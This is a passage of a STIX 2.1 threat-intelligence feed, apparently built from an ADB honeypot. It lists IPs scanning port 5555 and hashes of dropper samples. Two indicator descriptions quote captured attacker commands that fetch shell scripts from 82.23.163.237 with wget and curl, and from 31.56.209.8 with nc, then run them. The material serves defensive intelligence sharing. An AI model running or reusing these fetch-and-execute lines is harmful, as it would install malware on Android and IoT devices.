        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-18T16:01:44.000Z",
          "last_seen": "2026-05-21T16:00:11.759Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T02:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-19T01:55:38.000Z | last_seen=2026-05-26T19:25:35.427Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--357e698b-d810-4701-8691-f31863b1384a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:00:12.000Z",
      "valid_until": "2026-06-20T02:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-19T01:55:38.000Z",
          "last_seen": "2026-05-26T19:25:35.427Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-19T02:08:41.000Z | last_seen=2026-05-19T02:20:15.336Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3031174d-685c-47cd-8a0f-10fb80c13297",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:00:02.000Z",
      "valid_until": "2026-06-20T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-19T02:08:41.000Z",
          "last_seen": "2026-05-19T02:20:15.336Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-19T03:44:12.000Z | last_seen=2026-05-20T16:57:46.462Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.89.130.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "valid_until": "2026-06-20T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-19T03:44:12.000Z",
          "last_seen": "2026-05-20T16:57:46.462Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=33 | first_seen=2026-05-19T03:45:47.000Z | last_seen=2026-05-28T14:48:09.791Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "valid_until": "2026-06-20T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 33,
          "first_seen": "2026-05-19T03:45:47.000Z",
          "last_seen": "2026-05-28T14:48:09.791Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-19T03:45:01.000Z | last_seen=2026-05-19T03:46:09.779Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--941abb59-c8ce-4fa6-a815-ca964be9c359",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "valid_until": "2026-06-20T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-19T03:45:01.000Z",
          "last_seen": "2026-05-19T03:46:09.779Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=NL; asn=57043; asn_org=Hostkey B.v.; adb_cmd_hits=6; cmd=\"cd /data/local/tmp/; busybox wget http://82.23.163.237/w.sh; sh w.sh; curl http://82.23.163.237/c.sh; sh c.sh; wget http://82.23.163.237/wget.sh; sh wget.sh; cu\"\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-19T03:07:44.000Z | last_seen=2026-05-19T03:09:38.363Z | ports=5555 | cc=NL | asn=57043 | org=Hostkey B.v.",
      "id": "indicator--d1f47792-a5cf-4839-95fd-8dc8af67193a",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.23.163.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "valid_until": "2026-06-20T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-19T03:07:44.000Z",
          "last_seen": "2026-05-19T03:09:38.363Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "57043"
          ],
          "org": [
            "Hostkey B.v."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2fbc5458f663bd1c25e451618cf0c92c55b81d2df6b483aa568e40d224489a59.raw; last_seen=2026-05-19T03:07:48.394Z",
      "id": "indicator--6c8b1bdc-96b3-433d-ae6c-f49dae7a1a47",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '2fbc5458f663bd1c25e451618cf0c92c55b81d2df6b483aa568e40d224489a59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/48467a7441bd100a7980a90ac9816577f1ec83a5237f7dda1f655352ce0cfb25.raw; last_seen=2026-05-19T03:07:47.085Z",
      "id": "indicator--6662abd6-863c-4856-b489-f90d0c9ccef9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '48467a7441bd100a7980a90ac9816577f1ec83a5237f7dda1f655352ce0cfb25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a080eff22d8ab7210505937304eb435472bf40ed6e2365ec8a94174620194ad5.raw; last_seen=2026-05-19T03:07:47.350Z",
      "id": "indicator--6a070554-4737-4213-ad41-b930bb992d6d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a080eff22d8ab7210505937304eb435472bf40ed6e2365ec8a94174620194ad5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RU; asn=60931; asn_org=LAN-Service Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-19T10:40:49.000Z | last_seen=2026-05-19T10:41:53.714Z | ports=5555 | cc=RU | asn=60931 | org=LAN-Service Ltd.",
      "id": "indicator--78acdb4f-723c-4a6c-aa48-3a378ae96218",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.8.89.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:00:03.000Z",
      "valid_until": "2026-06-20T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-19T10:40:49.000Z",
          "last_seen": "2026-05-19T10:41:53.714Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "60931"
          ],
          "org": [
            "LAN-Service Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=AE; asn=209630; asn_org=LLC Vash Kredit Bank; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-19T11:04:43.000Z | last_seen=2026-05-19T12:55:43.033Z | ports=5555 | cc=AE | asn=209630 | org=LLC Vash Kredit Bank",
      "id": "indicator--fb45181c-eaf0-413f-9eec-3a92d5e2df81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '151.243.11.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:00:02.000Z",
      "valid_until": "2026-06-20T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-19T11:04:43.000Z",
          "last_seen": "2026-05-19T12:55:43.033Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "209630"
          ],
          "org": [
            "LLC Vash Kredit Bank"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=664 | first_seen=2026-05-19T12:38:17.000Z | last_seen=2026-05-30T10:40:51.210Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:00:02.000Z",
      "valid_until": "2026-06-20T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 664,
          "first_seen": "2026-05-19T12:38:17.000Z",
          "last_seen": "2026-05-30T10:40:51.210Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-19T12:46:21.000Z | last_seen=2026-05-19T12:56:36.722Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--e646e609-98a9-4866-99a6-fc3ee5d836af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.53.124.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:00:02.000Z",
      "valid_until": "2026-06-20T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-19T12:46:21.000Z",
          "last_seen": "2026-05-19T12:56:36.722Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-19T12:46:06.000Z | last_seen=2026-05-19T12:47:08.431Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--ee73ace2-1914-464c-90c4-1873c8e25ce6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.233.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:00:02.000Z",
      "valid_until": "2026-06-20T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-19T12:46:06.000Z",
          "last_seen": "2026-05-19T12:47:08.431Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=215292; asn_org=Gravhosting LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/ && busybox nc -w 2 31.56.209.8 6782 > android.sh 2>/dev/null || nc -w 2 31.56.209.8 6782 > android.sh 2>/dev/null && chmod 755 android.sh &&\"\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-19T12:08:24.000Z | last_seen=2026-05-19T12:10:20.754Z | ports=5555 | cc=US | asn=215292 | org=Gravhosting LLC",
      "id": "indicator--a0b2ed5f-6671-4a6d-a872-5bf9d3157b41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '81.161.239.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:00:02.000Z",
      "valid_until": "2026-06-20T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-19T12:08:24.000Z",
          "last_seen": "2026-05-19T12:10:20.754Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215292"
          ],
          "org": [
            "Gravhosting LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-19T13:46:46.000Z | last_seen=2026-05-19T13:47:52.368Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--dd6297d0-47c7-416a-a75d-4bae4fb30a5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.131.20.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:00:10.000Z",
      "valid_until": "2026-06-20T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-19T13:46:46.000Z",
          "last_seen": "2026-05-19T13:47:52.368Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T15:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=213438; asn_org=ColocaTel Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=70 | first_seen=2026-05-19T14:47:47.000Z | last_seen=2026-05-24T07:49:32.200Z | ports=5555 | cc=BG | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--45cd3f1a-5004-4f5f-8cfa-64eb2a5526c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.224']",
      "pattern_type": "stix",
